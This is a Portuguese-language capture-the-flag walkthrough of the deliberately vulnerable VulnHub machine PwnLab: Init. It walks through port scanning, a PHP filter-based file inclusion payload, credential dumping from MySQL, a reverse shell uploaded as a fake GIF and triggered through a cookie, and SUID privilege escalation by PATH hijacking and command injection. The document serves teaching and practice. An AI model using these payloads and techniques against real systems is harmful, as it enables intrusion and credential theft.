Link da Maquina: https://www.vulnhub.com/entry/pwnlab-init,158/
Scan/Enumeracao
Host Discovery
Com o comando arp-scan varremos a rede para descobrir os hosts ativos e consequentemente o IP do nosso alvo: 192.168.110.7
1
sudo arp-scan -I eth1 192.168.110.0/24
Port Discovery
Com o parametro “-p-“ do nmap varremos todas as portas possiveis do nosso alvo e encontramos 03 delas abertas. 80, 111, 3306 e 36281
1
sudo nmap -n -T5 -p- 192.168.110.7
Port Scan
Agora com o parametro “-A” do nmap vamos descobrir mais informacoes sobre essas portas abertas do nosso alvo
1
sudo nmap -n -T5 -A -p 80,111,3306,36281 192.168.110.7
- Porta 80: Apache httpd 2.4.10 ((Debian))
- Porta 111: rpcbind 2-4 (RPC #100000)
- Porta 3306: MySQL 5.5.47-0+deb8u1
- Porta 36281: 1 (RPC #100024)
Enumeracao/Exploracao Web - Porta 80
Inspecao Visual
Acessamos a pagina pelo broser e temos um site que podemos subir imagens e arquivos para o servidor
Nao encontramos nada de interessante no codigo fonte
Fuzzy de Diretorios - FFUF
O comando ffuf e uma boa alternativa para realizar fuzzy de diretorios. Esse programa e parecido com o wfuzz, a sua principal diferenca consiste na linguagem que e feito, GO, que o torna um pouco mais performatico que aquele
Encontramos alguns diretorios e arquivos com o fuzzy: config.php, images, login.php, index.php, server-status, upload.php e upload
1
ffuf -w /usr/share/wordlists/dirb/big.txt -u http://192.168.110.7/FUZZ -e .php
LFI
Depois de quebrar a cabeca por muito tempo para achar alguma brecha nessa maquina, consegui encontrar uma dica SINISTRA no site DIABLOHORN.
Resumindo… nao conseguimos explorar o LFI da forma tradicional que estamos acostumados. Esse metodo consiste em chamar um arquivo usando um filtro do php e encodando em base64
Entao conseguimos ver o conteudo dos arquivos que encontrmaos no fuzzy. Primeiramente vamos explorar o config.php
1
http://192.168.110.7/?page=php://filter/convert.base64-encode/resource=config
PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8+
- Decodificando em base64 temos:
1
2
3
4
5
6
<?php
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>
Vamos dar uma olhada no arquivo index.php
1
http://192.168.110.7/?page=php://filter/convert.base64-encode/resource=index
PD9waHANCi8vTXVsdGlsaW5ndWFsLiBOb3QgaW1wbGVtZW50ZWQgeWV0Lg0KLy9zZXRjb29raWUoImxhbmciLCJlbi5sYW5nLnBocCIpOw0KaWYgKGlzc2V0KCRfQ09PS0lFWydsYW5nJ10pKQ0Kew0KCWluY2x1ZGUoImxhbmcvIi4kX0NPT0tJRVsnbGFuZyddKTsNCn0NCi8vIE5vdCBpbXBsZW1lbnRlZCB5ZXQuDQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5Qd25MYWIgSW50cmFuZXQgSW1hZ2UgSG9zdGluZzwvdGl0bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCjxjZW50ZXI+DQo8aW1nIHNyYz0iaW1hZ2VzL3B3bmxhYi5wbmciPjxiciAvPg0KWyA8YSBocmVmPSIvIj5Ib21lPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9bG9naW4iPkxvZ2luPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9dXBsb2FkIj5VcGxvYWQ8L2E+IF0NCjxoci8+PGJyLz4NCjw/cGhwDQoJaWYgKGlzc2V0KCRfR0VUWydwYWdlJ10pKQ0KCXsNCgkJaW5jbHVkZSgkX0dFVFsncGFnZSddLiIucGhwIik7DQoJfQ0KCWVsc2UNCgl7DQoJCWVjaG8gIlVzZSB0aGlzIHNlcnZlciB0byB1cGxvYWQgYW5kIHNoYXJlIGltYWdlIGZpbGVzIGluc2lkZSB0aGUgaW50cmFuZXQiOw0KCX0NCj8+DQo8L2NlbnRlcj4NCjwvYm9keT4NCjwvaHRtbD4=
- Decodificando em base64 temos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
if (isset($_GET['page']))
{
include($_GET['page'].".php");
}
else
{
echo "Use this server to upload and share image files inside the intranet";
}
?>
</center>
</body>
</html>
No fuzzy encontramos outra pagina, upload.php, entao vamos dar uma olhada nela
1
http://192.168.110.7/?page=php://filter/convert.base64-encode/resource=upload
PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCmlmICghaXNzZXQoJF9TRVNTSU9OWyd1c2VyJ10pKSB7IGRpZSgnWW91IG11c3QgYmUgbG9nIGluLicpOyB9DQo/Pg0KPGh0bWw+DQoJPGJvZHk+DQoJCTxmb3JtIGFjdGlvbj0nJyBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnPg0KCQkJPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J2ZpbGUnIGlkPSdmaWxlJyAvPg0KCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3VibWl0JyB2YWx1ZT0nVXBsb2FkJy8+DQoJCTwvZm9ybT4NCgk8L2JvZHk+DQo8L2h0bWw+DQo8P3BocCANCmlmKGlzc2V0KCRfUE9TVFsnc3VibWl0J10pKSB7DQoJaWYgKCRfRklMRVNbJ2ZpbGUnXVsnZXJyb3InXSA8PSAwKSB7DQoJCSRmaWxlbmFtZSAgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXTsNCgkJJGZpbGV0eXBlICA9ICRfRklMRVNbJ2ZpbGUnXVsndHlwZSddOw0KCQkkdXBsb2FkZGlyID0gJ3VwbG9hZC8nOw0KCQkkZmlsZV9leHQgID0gc3RycmNocigkZmlsZW5hbWUsICcuJyk7DQoJCSRpbWFnZWluZm8gPSBnZXRpbWFnZXNpemUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddKTsNCgkJJHdoaXRlbGlzdCA9IGFycmF5KCIuanBnIiwiLmpwZWciLCIuZ2lmIiwiLnBuZyIpOyANCg0KCQlpZiAoIShpbl9hcnJheSgkZmlsZV9leHQsICR3aGl0ZWxpc3QpKSkgew0KCQkJZGllKCdOb3QgYWxsb3dlZCBleHRlbnNpb24sIHBsZWFzZSB1cGxvYWQgaW1hZ2VzIG9ubHkuJyk7DQoJCX0NCg0KCQlpZihzdHJwb3MoJGZpbGV0eXBlLCdpbWFnZScpID09PSBmYWxzZSkgew0KCQkJZGllKCdFcnJvciAwMDEnKTsNCgkJfQ0KDQoJCWlmKCRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvZ2lmJyAmJiAkaW1hZ2VpbmZvWydtaW1lJ10gIT0gJ2ltYWdlL2pwZWcnICYmICRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvanBnJyYmICRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvcG5nJykgew0KCQkJZGllKCdFcnJvciAwMDInKTsNCgkJfQ0KDQoJCWlmKHN1YnN0cl9jb3VudCgkZmlsZXR5cGUsICcvJyk+MSl7DQoJCQlkaWUoJ0Vycm9yIDAwMycpOw0KCQl9DQoNCgkJJHVwbG9hZGZpbGUgPSAkdXBsb2FkZGlyIC4gbWQ1KGJhc2VuYW1lKCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkuJGZpbGVfZXh0Ow0KDQoJCWlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkdXBsb2FkZmlsZSkpIHsNCgkJCWVjaG8gIjxpbWcgc3JjPVwiIi4kdXBsb2FkZmlsZS4iXCI+PGJyIC8+IjsNCgkJfSBlbHNlIHsNCgkJCWRpZSgnRXJyb3IgNCcpOw0KCQl9DQoJfQ0KfQ0KDQo/Pg==
- Decodificando em base64 temos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
<body>
<form action='' method='post' enctype='multipart/form-data'>
<input type='file' name='file' id='file' />
<input type='submit' name='submit' value='Upload'/>
</form>
</body>
</html>
<?php
if(isset($_POST['submit'])) {
if ($_FILES['file']['error'] <= 0) {
$filename = $_FILES['file']['name'];
$filetype = $_FILES['file']['type'];
$uploaddir = 'upload/';
$file_ext = strrchr($filename, '.');
$imageinfo = getimagesize($_FILES['file']['tmp_name']);
$whitelist = array(".jpg",".jpeg",".gif",".png");
if (!(in_array($file_ext, $whitelist))) {
die('Not allowed extension, please upload images only.');
}
if(strpos($filetype,'image') === false) {
die('Error 001');
}
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
die('Error 002');
}
if(substr_count($filetype, '/')>1){
die('Error 003');
}
$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo "<img src=\"".$uploadfile."\"><br />";
} else {
die('Error 4');
}
}
}
?>
MySQL - Porta 3306
Conseguimos logar no MySQL do alvo com a credencial que encontramos: root:H4u%QJ_H99
1
mysql -h 192.168.110.7 -uroot -pH4u%QJ_H99
Listamos os bancos de dados existentens e selecionamos o DB Users
1
2
show databases;
use Users
Listamos as tabelas do banco, e encontramos somente uma. Agora listamos todo o conteudo da tabela users. Encontramos 03 credenciais nessa tabela, as senhas parecem estar codificadas em base64
1
2
show tables;
select * from users;
kent:Sld6WHVCSkpOeQ==
mike:U0lmZHNURW42SQ==
kane:aVN2NVltMkdSbw==
- Decodificando o hashes das senhas temos:
1
2
3
echo "Sld6WHVCSkpOeQ==" | base64 -d
echo "U0lmZHNURW42SQ==" | base64 -d
echo "aVN2NVltMkdSbw==" | base64 -d
kent:JWzXuBJJNy
mike:SIfdsTEn6I
kane:iSv5Ym2GRo
Web - Porta 80
Agora que temos 03 credenciais vamos logar na aplicacao com kane:iSv5Ym2GRo
Shell Reverso
Quando exploramos o LFI e vimos o arquivo upload.php, conseguimos observar que somente imagens (jpg, jpeg, gif, png) podem ser upadas para o servidor… Entao vamos copiar o tradicional “php do mal” do kali editar o IP e a porta e inserir no inicio o “magic number” de uma das extensoes que a aplicacao aceita
Nao conseguimos subir o arquivo “charlie.php”. E provavel que a aplicacao esteja filtrando, tambem, pela extensao. Entao alteramos a extensao do arquivo para “charlie.gif”
Enviamos para o servidor o nosso payload porem nao conseguimos executa-lo manualmente no diretorio /upload, pois ele esta com a extensao “.gif”
Depois de algumas pesquisas, verificamos na analise do codigo da pagina “index” que ele executa o que estiver sendo passado como cookie “lang”
Para analisar como esta sendo enviado os cookies e editar a requisicao vamos para o burp.
Agora vamos adicionar o cookie chamando o nosso arquivo que upamos para o servidor.
Usuario “www-data”
Primeiramente deixamos uma porta escutando, mas antes inivocamos o bash no terminal, pois estamos com o zsh. Enviamos a requisicao e conseguimos pegar o shell reverso do usuario. Depois de ter conseguido o shell, realizamos o procedimento para a melhoria do mesmo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Kali
bash
nc -lvnp 3333
# Alvo
python -c 'import pty;pty.spawn("/bin/bash");'
# CTRL+Z
# Kali
stty raw -echo
# Duas vezes ENTER
# Alvo
export TERM=xterm
Usuario “kent”
Conseguimos logar com o usuario kent reutilizando a senha que encontramos no banco de dados da aplicacao web kent:JWzXuBJJNy
Usuario “kane”
Da mesma forma que conseguimos reutilizar a senha do kent conseguimos logar com o kane reutilizando a senha da aplicacao web kane:iSv5Ym2GRo
Olhando o que tem no /home/kane encontramos um binario msgmike com SUID habilitado
Executando o binario podemos perceber que ele executa o comando “cat”
Ja que podemos executar o binario como se o dono fosse (mike), podemos fazer um sequestro de PATH para escalar privilegio.
1- Primeiramente vamos criar um script com o mesmo nome do comando utilizado no binario (cat), utilizando a tecnica “Here Documents”
2- Dar permissao de exeecucao para o script
3- Incluir o diretorio que esta o script no inicio da variavel PATH
4- Verificar se o diretorio do script esta no inicio do $PATH
5- Executar o binario “msgmike”
6- Conseguimos o shell do usuario mike
Usuario “mike”
Verificamos o diretorio /home/mike e temos outro arquivo com permissao especial SUID, mas desta vez o dono e o root
Executando o binario, parece que e enviada uma mensagem para o root
Analisamos com mais precisao executando o comando “strings” no binario. A principio ele imprime o que digitamos em um arquivo /root/messages.txt
Realizamos um teste para ver se conseguimos concatenar comandos, e recebemos um resultado promissor
Usuario “root”
Conseguimos pegar o shell de root
Flag Root
Para conseguir ler a flag do root, precisamos antes corrigir o que fizemos com o comando cat, ou simplesmente usar outro comando prar ler o arquivo